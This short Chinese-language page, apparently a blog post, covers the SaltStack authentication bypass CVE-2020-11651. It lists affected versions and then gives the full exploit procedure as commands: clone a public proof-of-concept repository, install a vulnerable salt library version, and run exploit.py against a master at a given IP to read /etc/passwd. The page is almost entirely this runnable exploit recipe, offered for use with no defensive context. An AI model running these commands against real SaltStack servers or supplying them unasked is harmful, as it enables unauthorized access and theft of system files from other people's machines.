正文
SaltStack 水平权限绕过漏洞（CVE-2020-11651）
提示：扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
影响版本
SaltStack < 2019.2.4
SaltStack < 3000.2
poc
git clone https://github.com/jasperla/CVE-2020-11651-poc.git
执行前需要安装salt库，需指定salt库版本
pip3 install salt==2019.2.3
命令
python3 exploit.py --master 192.168.49.2 -r /etc/passwd
